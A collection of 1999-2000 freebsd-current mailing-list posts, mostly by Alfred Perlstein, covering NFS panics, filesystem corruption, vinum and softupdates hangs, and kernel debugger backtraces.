nfs ick in -current
I just cvsup'd today hoping that all the NFS fixes that went in recently would have alleviated (sp?) the hangs I've been getting while building things in ports for the last couple of months. It used to be that just NFS would hang, now it seems to crash the entire box. server:/vol/extra/ports /usr/ports nfs rw,noauto,bg,intr,nfsv3,tcp,-r=3 2768,-w=32768 0 0 server:/vol/extra/ncvs /home/ncvs nfs rw,noauto,bg,intr,nfsv3,tcp,-r=3 2768,-w=32768 0 0 server:/vol/wd0 /vol/wd0nfs rw,noauto,bg,intr,nfsv3,tcp,-r=3 2768,-w=32768 0 0 are the mount points. attempting to compile xscreensaver has triggered it twice in a row /usr/ports is mounted off "server" (a freebsd -current box) and doing the make will kill the machine. Once I figure out where the heck I have the console redirected I'll have something more substantial. thanks for the patience, -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: nfs ick in -current
On Wed, 7 Jul 1999, Peter Wemm wrote:
> Alfred Perlstein wrote:
> >
> > I just cvsup'd today hoping that all the NFS fixes that went in
> > recently would have alleviated (sp?) the hangs I've been getting
> > while building things in ports for the last couple of months.
> >
> > It used to be that just NFS would hang, now it seems to crash the
> > entire box.
> >
> > server:/vol/extra/ports /usr/ports nfs rw,noauto,bg,intr,nfsv3,tcp,-
> r=3
> > 2768,-w=32768 0 0
> > server:/vol/extra/ncvs /home/ncvs nfs rw,noauto,bg,intr,nfsv3,tcp,-
> r=3
> > 2768,-w=32768 0 0
> > server:/vol/wd0 /vol/wd0nfs rw,noauto,bg,intr,nfsv3,tcp,-
> r=3
> > 2768,-w=32768 0 0
> >
> > are the mount points.
> >
> > attempting to compile xscreensaver has triggered it twice in a row
> > /usr/ports is mounted off "server" (a freebsd -current box) and
> > doing the make will kill the machine.
> >
> > Once I figure out where the heck I have the console redirected
> > I'll have something more substantial.
>
> You have a block size of 32K, I'll bet it's 'Bad nfs svc reply' in
> nfs_syscalls.c. This is triggered when the READDIRPLUS op generates
> an oversized reply and it triggers the sanity check.
odd, shouldn't it know not to violate its own sanity checks? Just
throttle down the requests, or spit out an error?
> Change it to 16K and I think it'll work. Otherwise change the panic to a
> printf(), but that is sweeping the problem under the carpet and might just
> give the client indigestion. It does stop the server crashing though.
I'll try that, thanks, set my -r and -w to 16k. Um something odd
though, from the code:
if (siz <= 0 || siz > NFS_MAXPACKET) {
printf("mbuf siz=%d\n",siz);
panic("Bad nfs svc reply");
}
then earlier:
nfsproto.h:#define NFS_MAXPKTHDR 404
nfsproto.h:#define NFS_MAXPACKET(NFS_MAXPKTHDR + NFS_MAXDATA)
nfsproto.h:#define NFS_MAXDATA 32768
isn't 32k within the safe limits, or sometimes when building the RPC
reply it can just get too big?
Oh, one more thing, I'm getting "device busy" even when using -f
during my unmount of wedged nfs mounts, all I needed to do was
kill -9 a shell sitting in that dir, but shouldn't that be
unnessesary?
thanks for your patience,
-Alfred
To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message
Re: nfs ick in -current
On Thu, 8 Jul 1999, Peter Wemm wrote:
> Alfred Perlstein wrote:
> > On Wed, 7 Jul 1999, Peter Wemm wrote:
> >
> > > > attempting to compile xscreensaver has triggered it twice in a row
> > > > /usr/ports is mounted off "server" (a freebsd -current box) and
> > > > doing the make will kill the machine.
> > > >
> > > > Once I figure out where the heck I have the console redirected
> > > > I'll have something more substantial.
> > >
> > > You have a block size of 32K, I'll bet it's 'Bad nfs svc reply' in
> > > nfs_syscalls.c. This is triggered when the READDIRPLUS op generates
> > > an oversized reply and it triggers the sanity check.
> >
> > odd, shouldn't it know not to violate its own sanity checks? Just
> > throttle down the requests, or spit out an error?
>
> Well, I still am having trouble getting my head around what's going on.
> In a nutshell, the code goes to a fair bit of trouble to not generate a
> packet that violates the protocols, and yet it still does, by a long shot.
> I'm setting up to try and reproduce this so I can catch it live rather than
> long afterwards.
odd.
> > > Change it to 16K and I think it'll work. Otherwise change the panic to a
> > > printf(), but that is sweeping the problem under the carpet and might just
> > > give the client indigestion. It does stop the server crashing though.
> >
> > I'll try that, thanks, set my -r and -w to 16k. Um something odd
> > though, from the code:
> >
> > if (siz <= 0 || siz > NFS_MAXPACKET) {
> > printf("mbuf siz=%d\n",siz);
> > panic("Bad nfs svc reply");
> > }
> >
> > then earlier:
> > nfsproto.h:#define NFS_MAXPKTHDR 404
> > nfsproto.h:#define NFS_MAXPACKET(NFS_MAXPKTHDR + NFS_MAXDATA)
> > nfsproto.h:#define NFS_MAXDATA 32768
> >
> > isn't 32k within the safe limits, or sometimes when building the RPC
> > reply it can just get too big?
>
> It's running over by at least 250 bytes or so. ie: 32K + 680, which is
> more than 32K + 404. I have not got the protocol maps handy so I'm not yet
> sure if the limits are wrong, or the request is wrong, or the readdirplus
> code is wrong. In any case, *something* is wrong. :-)
oy vey. :)
>
> > Oh, one more thing, I'm getting "device busy" even when using -f
> > during my unmount of wedged nfs mounts, all I needed to do was
> > kill -9 a shell sitting in that dir, but shouldn't that be
> > unnessesary?
>
> Umm.. what were you unmounting? server:/mount or the /localmount? There
> are some well known problems with trying to unmount /localmount for a
> wedged mount - the damn code stat's it and hangs itself. Trying to fix
> this and yet accomodate all the other tweaks for handling symlinks
> (ie: /dev/cdrom -> /dev/cd0a) etc style hacks got me rather confused last
> time.
>
> Also, the VM has changed a bit over the last few months, deadfs may not be
> finding all the hooks into the VFS that might be still there.
unmounting a hung nfs mount:
client% mount
/dev/da0s1a on / (local, soft-updates, writes: sync 10 async 9392)
...
server:/vol/extra/ports on /usr/ports
server:/vol/extra/ncvs on /home/ncvs
client% umount -f /home/ncvs
Device busy.
client%
-Alfred
To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message
sorry, dead drive == Re: nfs ick in -current
On Thu, 8 Jul 1999, Peter Wemm wrote: > Alfred Perlstein wrote: > > On Wed, 7 Jul 1999, Peter Wemm wrote: > > > > > Alfred Perlstein wrote: > > > > > > > > I just cvsup'd today hoping that all the NFS fixes that went in > > > > recently would have alleviated (sp?) the hangs I've been getting > > > > while building things in ports for the last couple of months. > > > > > > > > It used to be that just NFS would hang, now it seems to crash the > > > > entire box. ugh, sorry everyone, dying drive was causing it, tons of SCB errors and timeouts, at least it's under warrantee. sorry for the wild goose chase. -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: An oddity after a panic
On Fri, 30 Jul 1999, Greg Lehey wrote: > On Friday, 30 July 1999 at 9:31:15 +0200, Dag-Erling Smorgrav wrote: > > Jeroen Ruigrok/Asmodai <[EMAIL PROTECTED]> writes: > >> [note I already did chflags] > >> I'd love to hear some ideas about how to solve this. > > > > # chflags -R 0 /usr/obj/work > > # rm -rf /usr/obj/work > > That doesn't seem to be the answer. And the directory where the > problem occurred doesn't normally get any schg flags set. > > On Friday, 30 July 1999 at 8:41:27 +0200, Jeroen Ruigrok/Asmodai wrote: > > Hi, > > > > I was cleansing /usr/obj after a panic to see if I could reproduce it and > > I have this slight oddity: > > > > [root@daemon:/usr/obj] (32) # rm -rf work/ > > rm: work/FreeBSD/src/gnu/usr.bin/: Directory not empty > > rm: work/FreeBSD/src/gnu: Directory not empty > > rm: work/FreeBSD/src: Directory not empty > > rm: work/FreeBSD: Directory not empty > > rm: work/: Directory not empty > > > > [root@daemon:/usr/obj] (33) # cd work/FreeBSD/src/gnu/usr.bin/ > > [root@daemon:/usr/obj/work/FreeBSD/src/gnu/usr.bin] (34) # ll > > total 2 > > 1 drwxr-xr-x 3 root wheel - 512 Jul 30 08:31 ./ > > 1 drwxr-xr-x 3 root wheel - 512 Jul 30 08:31 ../ > > > > [root@daemon:/usr/obj/work/FreeBSD/src/gnu/usr.bin] (35) # cd .. > > [root@daemon:/usr/obj/work/FreeBSD/src/gnu] (36) # ll > > total 3 > > 1 drwxr-xr-x 3 root wheel - 512 Jul 30 08:31 ./ > > 1 drwxr-xr-x 3 root wheel - 512 Jul 30 08:33 ../ > > 1 drwxr-xr-x 3 root wheel - 512 Jul 30 08:31 usr.bin/ > > That link count for usr.bin looks funny. It should be 2, and that's > probably why you can't remove it. > > > I have no idea what's wrong here. > > After the panic however I did get some softupdates inconsistencies, such > > as: DUPs, Block counts, even an internal error: dups with -p. > > Yes, it looks like you have a broken file system. The easy part is to > cut off the directory tree a bit further up (say, mv usr.bin to > lost+found/andbroken). Actually getting rid of it and reclaiming any > lost space will probably be more difficult and involve you in deeper > knowledge of fsdb than you really wanted. I've seen this happen with a DPT controller and regular scsi when under a lot of I/O load for long periods of time, you'll definetly want to use fsdb to ditch the dir, however if you root around in there it'd be great to see the values in the inodes pointed to by usr.bin and the "." and ".." entries contained within. It doesn't seem possible, but when I had this unreoveable directory problem one of the inode's fields had overflowed to some ridiculously high (or negative) number. -Alfred Perlstein - [[EMAIL PROTECTED]|[EMAIL PROTECTED]] systems administrator and programmer Wintelcom - http://www.wintelcom.net/ To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: mountpoint locking with fbsd-nfs
On Sun, 1 Aug 1999, Kevin Day wrote: > > > > :Yeah, I know about -alldirs... The problem was that we had customers who > > :wanted us to export their home directories, and unless I gave them their own > > :filesystem, I couldn't restrict it in the manner i wanted. :) > > : > > :Just checking to see that I wasn't missing a way to do this. :) > > : > > :Kevin > > > > I've never in my life tried this - it probably won't work, but ... > > use the null device maybe to create a mount point for each home > > dir and then export that? > > > > I think it sees through this. > > su-2.03# cat /etc/exports > /varhome > /mnthome > su-2.03# mount > /dev/wd0s1a on / (NFS exported, local, noatime, soft-updates, writes: sync > 3970 async 1321097) > procfs on /proc (local) > nfs:/home on /usr/home (noatime) > nfs:/var/mail on /var/mail (noatime) > /var/tmp on /mnt (local) > su-2.03# mountd > Aug 1 23:17:48 celery mountd[89177]: can't change attributes for /mnt > > That was a very good idea though, i'd never have thought of it. :) > > I'll have to play with this more. :) It cannot ever work properly. NFS is stateless, the nfs filehandles refer to inodes, you may be able to get this to actually export files, however i'm pretty sure without other measures someone would be able to cons up a fake nfs handle for files he doesn't own. (I think) Here's two things that may work: exporting -alldirs to specific hosts using the -mapall option in /exports /home -mapall=robert roberts.machine /home -mapall=julian julains.machine using a vn device, creating a ufs on it and then mounting it, then exporting it. this gives you nice per-user quotas as well :) -Alfred Perlstein - [[EMAIL PROTECTED]|[EMAIL PROTECTED]] systems administrator and programmer Wintelcom - http://www.wintelcom.net/ To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: SIGBUS [was Re: gdb]
On 18 Aug 1999, Joel Ray Holveck wrote: > > (gdb) run > > Starting program: /tmp/./sieve > > Program received signal SIGBUS, Bus error. > > That reminds me. I thought that SIGBUS meant byte-alignment errors. > What does it mean on FreeBSD/x86? Another possible source for SIGBUS should be generated when accessing a mmap'd region past the end of a file. -Alfred Perlstein - [[EMAIL PROTECTED]|[EMAIL PROTECTED]] systems administrator and programmer Wintelcom - http://www.wintelcom.net/ To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: NFS HEADS UP (was Re: cvs commit: src/sys/nfs nfsm_subs.h xdr_subs.h)
On Thu, 19 Aug 1999, Matthew Dillon wrote:
>
> :On Thu, Aug 19, 1999 at 07:50:13AM -0700, Peter Wemm wrote:
> :> peter 1999/08/19 07:50:13 PDT
> :>
> :> Modified files:
> :> sys/nfs nfsm_subs.h xdr_subs.h
> :> Log:
> :> Convert all the nfs macros to do { blah } while (0) to ensure it
> :> works correctly in if/else etc. egcs had probably picked up most of the
> :> problems here before with "ambiguous braces" etc, but this should
> :> increase the robustness a bit. Based on an idea from Eivind Eklund.
> :
> :When I tested this, I got significant binary changes after changing
> :the macros to be . Writing a couple of test programs, I was not able
> :to get binary changes without actual semantic changes - the optimizer
> :optimize away do { ... } while(0); just fine. I didn't have any
> :testbed for NFS, which was why I didn't commit similar changes myself.
> :
> :Interpretation: NFS is likely to be different now than it was before
> :these commits. This hopefully mean less bugs, but we might also have
> :had bugs cancelling each other and 'mystery fixes' that no longer
> :work. If you get strange effects in NFS in the upcoming time, you
> :might try flipping this commit.
> :
> :I still think the change is a good and necessary one.
> :
> :Eivind.
>
> The compiler optimizes differently, that's all. The same thing happened
> when we fixed the macros in vm_map.h. In that case we also found a bug
> in i386/include/globals.h --- the inline assembly macros are missing
> the "memory" side effect specification and the code was trying to optimize
> global references across subroutine calls! I'll send Luoqi another email.
>
> In the case of the NFS stuff, the changes have been pretty well tested
> so I think we are in the clear.
On a somewhat similar note, what do you think about converting a lot
of the NFS macros to functions, yes i know it will be difficult, but
there is so much forced inlining it just seems like it would reduce
the codesize signifigantly and play nicer with the CPU cache.
It would also make the code a lot more readable.
Worthwhile exercise?
-Alfred Perlstein - [[EMAIL PROTECTED]|[EMAIL PROTECTED]]
systems administrator and programmer
Wintelcom - http://www.wintelcom.net/
To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message
Re: fsck of /, related to last post.
On Thu, 30 Dec 1999, Bill Fumerola wrote: > On Thu, 30 Dec 1999, David Gilbert wrote: > > > Bill> Reboot. I don't know why it works, but it does. :-> > > > > Right... I already knew that, but it's a manual reboot... and this is > > "suboptimal" (ie. requiring operator intervention). > > Indeed. Remaking your disk devices in /dev should fix this, don't forget to do both ad* and wd* if you have IDE disks. -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
make world broken?
===> libdes rm -f .depend mkdep -f .depend -a-I/vol/vinum0/src/secure/lib/libdes/../../../crypto/libdes -I/usr/obj/vol/vinum0/src/i386/usr/include /vol/vinum0/src/secure/lib/libdes/../../../crypto/libdes/cbc_cksm.c /vol/vinum0/src/secure/lib/libdes/../../../crypto/libdes/pcbc_enc.c /vol/vinum0/src/secure/lib/libdes/../../../crypto/libdes/qud_cksm.c /vol/vinum0/src/secure/lib/libdes/../../../crypto/libdes/cbc3_enc.c /vol/vinum0/src/secure/lib/libdes/../../../crypto/libdes/cfb64ede.c /vol/vinum0/src/secure/lib/libdes/../../../crypto/libdes/cfb64enc.c /vol/vinum0/src/secure/lib/libdes/../../../crypto/libdes/cfb_enc.c /vol/vinum0/src/secure/lib/libdes/../../../crypto/libdes/ecb3_enc.c /vol/vinum0/src/secure/lib/libdes/../../../crypto/libdes/enc_read.c /vol/vinum0/src/secure/lib/libdes/../../../crypto/libdes/enc_writ.c /vol/vinum0/src/secure/lib/libdes/../../../crypto/libdes/ofb64ede.c /vol/vinum0/src/secure/lib/libdes/../../../crypto/libdes/ofb64enc.c /vol/vinum0/src/secure/lib/libdes/../../../crypto/! ! libdes/ofb_enc.c /vol/vinum0/src/secure/lib/libdes/../../../crypto/libdes/rand_key.c /vol/vinum0/src/secure/lib/libdes/../../../crypto/libdes/rpc_enc.c /vol/vinum0/src/secure/lib/libdes/../../../crypto/libdes/str2key.c /vol/vinum0/src/secure/lib/libdes/../../../crypto/libdes/supp.c /vol/vinum0/src/secure/lib/libdes/../../../crypto/libdes/xcbc_enc.c /vol/vinum0/src/secure/lib/libdes/../../../crypto/libdes/cbc_enc.c /vol/vinum0/src/secure/lib/libdes/../../../crypto/libdes/ncbc_enc.c /vol/vinum0/src/secure/lib/libdes/../../../crypto/libdes/ecb_enc.c /vol/vinum0/src/secure/lib/libdes/../../../crypto/libdes/set_key.c /vol/vinum0/src/secure/lib/libdes/../../../crypto/libdes/des_enc.c /vol/vinum0/src/secure/lib/libdes/../../../crypto/libdes/read_pwd.c /vol/vinum0/src/secure/lib/libdes/../../../crypto/libdes/rnd_keys.c /vol/vinum0/src/secure/lib/libdes/../../../crypto/libdes/rpw.c /vol/vinum0/src/secure/lib/libdes/../../../crypto/libdes/read2pwd.c /vol/vinum0/src/secure/lib/libdes/../../../crypto/libdes/rpw.c:60: openssl/des.h: No such file or directory mkdep: compile failed *** Error code 1 1 error *** Error code 2 1 error -- -Alfred Perlstein - [[EMAIL PROTECTED]|[EMAIL PROTECTED]] Wintelcom systems administrator and programmer - http://www.wintelcom.net/ [[EMAIL PROTECTED]] To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
fix for hangs with recent -current + vinum
If you're getting hangs while running vinum please update sys/dev/vinum/vinumrequest.c to version 1.41. Only people running -current compilied with version 1.40 or 1.38-1.36 of vinumrequest.c should need this fix. thanks, -- -Alfred Perlstein - [[EMAIL PROTECTED]|[EMAIL PROTECTED]] Wintelcom systems administrator and programmer - http://www.wintelcom.net/ [[EMAIL PROTECTED]] To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: freezing...
n_lock.c:362
#4 0xc017e73e in getblk (vp=0xd66dcf60, blkno=0x20090, size=0x2000, slpflag=0x0,
slptimeo=0x0) at ../../sys/buf.h:294
#5 0xc017c72a in bread (vp=0xd66dcf60, blkno=0x20090, size=0x2000, cred=0x0,
bpp=0xd8f25dec)
at ../../kern/vfs_bio.c:498
#6 0xc01fe869 in ffs_update (vp=0xd66d90e0, waitfor=0x0) at
../../ufs/ffs/ffs_inode.c:98
#7 0xc02092ca in ufs_inactive (ap=0xd8f25e40) at ../../ufs/ufs/ufs_inode.c:92
#8 0xc020e3bd in ufs_vnoperate (ap=0xd8f25e40) at ../../ufs/ufs/ufs_vnops.c:2283
#9 0xc018507d in vrele (vp=0xd66d90e0) at vnode_if.h:794
#10 0xc018bbb3 in vn_close (vp=0xd66d90e0, flags=0x1, cred=0xc2312f00, p=0xd8ed3a80)
at ../../kern/vfs_vnops.c:232
#11 0xc018c414 in vn_closefile (fp=0xc200ab40, p=0xd8ed3a80) at
../../kern/vfs_vnops.c:630
#12 0xc01526fd in fdrop (fp=0xc200ab40, p=0xd8ed3a80) at ../../sys/file.h:211
#13 0xc015263b in closef (fp=0xc200ab40, p=0xd8ed3a80) at
../../kern/kern_descrip.c:1003
#14 0xc0151d98 in close (p=0xd8ed3a80, uap=0xd8f25f80) at ../../kern/kern_descrip.c:507
#15 0xc026f7ba in syscall (frame={tf_fs = 0x2f, tf_es = 0x2f, tf_ds = 0x2f, tf_edi =
0x8064800, tf_esi = 0x1,
tf_ebp = 0xbfbff770, tf_isp = 0xd8f25fd4, tf_ebx = 0x181a03c4, tf_edx =
0x8064938, tf_ecx = 0x806c000,
tf_eax = 0x6, tf_trapno = 0xc, tf_err = 0x2, tf_eip = 0x1815d22c, tf_cs = 0x1f,
tf_eflags = 0x287,
tf_esp = 0xbfbff734, tf_ss = 0x2f}) at ../../i386/i386/trap.c:1057
(kgdb) proc 0xd8ed2a00
(kgdb) bt
#0 mi_switch () at machine/globals.h:117
#1 0xc015d869 in tsleep (ident=0xcc4a39e8, priority=0x14, wmesg=0xc0292de1 "getblk",
timo=0x0)
at ../../kern/kern_synch.c:437
#2 0xc0155b06 in acquire (lkp=0xcc4a39e8, extflags=0x20, wanted=0x600) at
../../kern/kern_lock.c:147
#3 0xc0155dbc in lockmgr (lkp=0xcc4a39e8, flags=0x10022, interlkp=0xc030ba74,
p=0xd8ed2a00)
at ../../kern/kern_lock.c:362
#4 0xc017e73e in getblk (vp=0xd66dcf60, blkno=0x20950, size=0x2000, slpflag=0x0,
slptimeo=0x0) at ../../sys/buf.h:294
#5 0xc017c72a in bread (vp=0xd66dcf60, blkno=0x20950, size=0x2000, cred=0x0,
bpp=0xd8fc0bb8)
at ../../kern/vfs_bio.c:498
#6 0xc02015af in indir_trunc (ip=0xd8fc0bfc, dbn=0x20950, level=0x0, lbn=0xc,
countp=0xd8fc0bec)
at ../../ufs/ffs/ffs_softdep.c:2040
#7 0xc02013f5 in handle_workitem_freeblocks (freeblks=0xc230c000) at
../../ufs/ffs/ffs_softdep.c:1961
#8 0xc0200e40 in softdep_setup_freeblocks (ip=0xc2366800, length=0x0) at
../../ufs/ffs/ffs_softdep.c:1668
#9 0xc01fead6 in ffs_truncate (vp=0xd907aa00, length=0x0, flags=0x0, cred=0x0,
p=0xd8ed2a00)
at ../../ufs/ffs/ffs_inode.c:195
#10 0xc0209276 in ufs_inactive (ap=0xd8fc0eb8) at ../../ufs/ufs/ufs_inode.c:84
#11 0xc020e3bd in ufs_vnoperate (ap=0xd8fc0eb8) at ../../ufs/ufs/ufs_vnops.c:2283
#12 0xc0185145 in vput (vp=0xd907aa00) at vnode_if.h:794
#13 0xc0188739 in unlink (p=0xd8ed2a00, uap=0xd8fc0f80) at
../../kern/vfs_syscalls.c:1421
#14 0xc026f7ba in syscall (frame={tf_fs = 0x2f, tf_es = 0x2f, tf_ds = 0x2f, tf_edi =
0x0, tf_esi = 0x80bf180,
tf_ebp = 0xbfbff71c, tf_isp = 0xd8fc0fd4, tf_ebx = 0x80bf180, tf_edx = 0x5,
tf_ecx = 0x1b, tf_eax = 0xa,
tf_trapno = 0xc, tf_err = 0x2, tf_eip = 0x1813f1cc, tf_cs = 0x1f, tf_eflags =
0x283, tf_esp = 0xbfbff6f0,
tf_ss = 0x2f}) at ../../i386/i386/trap.c:1057
have fun, I know I am. :)
it seems that ranlib is caught on someone else's buffer lock in getblk
on the BUF_TIMELOCK() call, the lock looks like this:
#2 0xc0155b06 in acquire (lkp=0xcc50a850, extflags=0x20, wanted=0x600) at
../../kern/kern_lock.c:147
147 error = tsleep(lkp, lkp->lk_prio, lkp->lk_wmesg, lkp->lk_timo);
(kgdb) print *lkp
$5 = {
lk_interlock = {
lock_data = 0x0
},
lk_flags = 0x200400,
lk_sharecount = 0x0,
lk_waitcount = 0x1,
lk_exclusivecount = 0x1,
lk_prio = 0x14,
lk_wmesg = 0xc0292de1 "getblk",
lk_timo = 0x0,
lk_lockholder = 0xfffe
}
thanks,
--
-Alfred Perlstein - [[EMAIL PROTECTED]|[EMAIL PROTECTED]]
Wintelcom systems administrator and programmer
- http://www.wintelcom.net/ [[EMAIL PROTECTED]]
To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message
Re: freezing... update to 1.45 of ffs_softdep.c
* Matthew Dillon <[EMAIL PROTECTED]> [000110 14:09] wrote: > > :I've reproduced the softupdates ftruncate panic and have a core dump > :to play with. > : > : -Matt > > Ok, Kirk fixed the softupdates ftruncate panic last night. Make sure > you have version 1.45 of sys/contrib/softupdates/ffs_softdep.c > > I would like to know if the person reporting the getblk lockup (I think > it was Poul) sees that problem solved with the vinum fix that Alfred > posted in regards to or whether we still have an open issue. still a problem, just got snagged a few moments ago, there's a traceback already on the way. :) -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: freezing... update to 1.45 of ffs_softdep.c
* Matthew Dillon <[EMAIL PROTECTED]> [000110 15:13] wrote: > ::still a problem, just got snagged a few moments ago, there's a traceback > ::already on the way. :) > :: > ::-Alfred > : > :Is this backed by the ata driver too? > : > :If so, if either you or Poul could backoff to the wd driver and see > :if the problem continues, I would appreciate it. > > I was able to reproduce it. Never mind re: trying to use > the 'wd' driver. It occurs for me w/ SCSI. It looks like > a softupdates problem for sure. ugh, what fun this is, yes, i'm using vinum, softupdates, nfs and ata, but da for the vinum backing. I think i'm one of the bio bug posterboys. Anyhow, it seems that the problem happens because somewhere softupdates (or something else perhaps) LK_KERNPROCs the buffer and never lets go. I've been trying to compile with DEBUG_LOCKS for nearly half an hour but i'm having difficulty with vinum because i think it's intent on giving me a hard time w/ matching itself and the kernel and the userland. argh.. :) -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: reported system freezes...
* Christian Carstensen <[EMAIL PROTECTED]> [000111 02:03] wrote: > > so, ok, > > i've tried several checkout dates for sys and tested the compiled kernels. > as i cannot reproduce this freeze thing, this is quite vague, but kernels > up to 04 Jan 2000 worked fine, those from 05 Jan 2000 up to now don't. > > maybe, this is useful information. not without your configuration... are you running vinum or softupdates? Kirk just fixed softupdates and I committed a patch to vinum just last night. If you're using vinum don't forget to update your modules, a kernel function was changed that causes it to panic unless your kernel and modules are exactly in sync. -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: wdm not responding
* Edwin Mons <[EMAIL PROTECTED]> [000111 03:37] wrote: > > Marc Solsona wrote: > > > > I'm using wdm o the 3-stable branch. Since I migrated to current wdm is > > > > not reponding to keyboard. Although when I start it manually it does. > > Any ideas? > > > > Thanks > > > > To Unsubscribe: send mail to [EMAIL PROTECTED] > > with "unsubscribe freebsd-current" in the body of the message > > I noticed this, too, with xdm. Putting a 'sleep 4' before starting xdm > (and thus starting it after getty ran and the system was ready to use) > fixed it for me.. Don't know the real cause, though. You ought to use the example in /etc/ttys to start it up. -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: Still system hangs, but different
* Matthew Dillon <[EMAIL PROTECTED]> [000111 23:27] wrote: > :%:I have. > :% > :%Wait a sec. I've reviewed all the messages from you and I think something > :%got mixed together. I'm not convinced that your particular problems > :%are softupdates related. I recommend turning off softupdates entirely > :%for a few days to find out. > : > :Oh they are quite surely softupdates related. > : > :I got the "X still sorta works but anything that touches the disk wedges" > :flu today on a very current current. Triggered by a cc build on > :(soft) linked filesystem, cured by reverting back a week or so. > : > :And yes, it is quite certainly v. 1.47 and ata. > : > :NBD..., if it was a real barrier to progress I'd disable softupdates. > : > :Regards, > :Russell > > I think what we need to concentrate on is figuring out exactly what > is being wedged on. Hence my DDB suggestion below. > > Reverting to an old -current doesn't guarentee that it's softupdates. > If you turn off softupdates with tunefs on the filesystems and see > if it occurs with a new kernel that will tell us for sure. (But the > DDB suggestion is more important, that will tell us exactly what is > going on). I'm finding it easy to reboot a box by simply doing a cvsup and downloading a repo, I'm recompiling everything right now without softupdates but if you wanted what seems to be an easy to reproduce crash, try checking out the postgresql repo via cvsup. -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
softdep: panic: flush_pagedep_deps: flush 3 failed
(kgdb) bt
#8 0xc025c1a1 in Debugger (msg=0xc028fc72 "panic") at machine/cpufunc.h:64
#9 0xc015ac04 in panic (fmt=0xc02a0ee0 "flush_pagedep_deps: flush 3 failed")
at ../../kern/kern_shutdown.c:552
#10 0xc020441a in flush_pagedep_deps (pvp=0xd8f15da0, mp=0xc1e4c400,
diraddhdp=0xc204d5e4) at ../../ufs/ffs/ffs_softdep.c:4248
#11 0xc0203d20 in softdep_sync_metadata (ap=0xd8ed7b6c)
at ../../ufs/ffs/ffs_softdep.c:3934
#12 0xc0207da2 in ffs_fsync (ap=0xd8ed7b6c) at ../../ufs/ffs/ffs_vnops.c:249
#13 0xc01fed0c in ffs_truncate (vp=0xd8f15da0, length=512, flags=4,
cred=0xc1f4b200, p=0xd8ed4e00) at vnode_if.h:537
#14 0xc020a613 in ufs_direnter (dvp=0xd8f15da0, tvp=0xd8f14860,
dirp=0xd8ed7cb8, cnp=0xd8ed7f04, newdirbp=0x0)
at ../../ufs/ufs/ufs_lookup.c:842
#15 0xc020e577 in ufs_makeinode (mode=33152, dvp=0xd8f15da0, vpp=0xd8ed7ef0,
cnp=0xd8ed7f04) at ../../ufs/ufs/ufs_vnops.c:2159
#16 0xc020bd90 in ufs_create (ap=0xd8ed7e10) at ../../ufs/ufs/ufs_vnops.c:183
#17 0xc020e601 in ufs_vnoperate (ap=0xd8ed7e10)
at ../../ufs/ufs/ufs_vnops.c:2283
#18 0xc018b8b0 in vn_open (ndp=0xd8ed7edc, fmode=1539, cmode=384)
at vnode_if.h:106
#19 0xc0187b69 in open (p=0xd8ed4e00, uap=0xd8ed7f80)
at ../../kern/vfs_syscalls.c:994
#20 0xc026fcaa in syscall (frame={tf_fs = 4390959, tf_es = 3014703,
tf_ds = 4390959, tf_edi = 3061976, tf_esi = 384, tf_ebp = 4434788,
tf_isp = -655523884, tf_ebx = 2039808, tf_edx = 3061976,
tf_ecx = 1429646, tf_eax = 5, tf_trapno = 22, tf_err = 7,
tf_eip = 1876306, tf_cs = 31, tf_eflags = 518, tf_esp = 4434768,
tf_ss = 47}) at ../../i386/i386/trap.c:1055
#21 0x1ca152 in ?? ()
This can be reproduced by doing a cvsup to get a new repo, not an update
but a clean checkout, twice in the same spot.
*default host=postgresql.org
*default release=cvs
*default delete use-rel-suffix
*default base=/home/pgcvs
*default prefix=/home/pgcvs
pgsql
Also, the fix for running out of space, can that be backported to -stable?
thanks,
--
-Alfred Perlstein - [[EMAIL PROTECTED]|[EMAIL PROTECTED]]
Wintelcom systems administrator and programmer
- http://www.wintelcom.net/ [[EMAIL PROTECTED]]
To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message
world broken using /usr/local/lib?
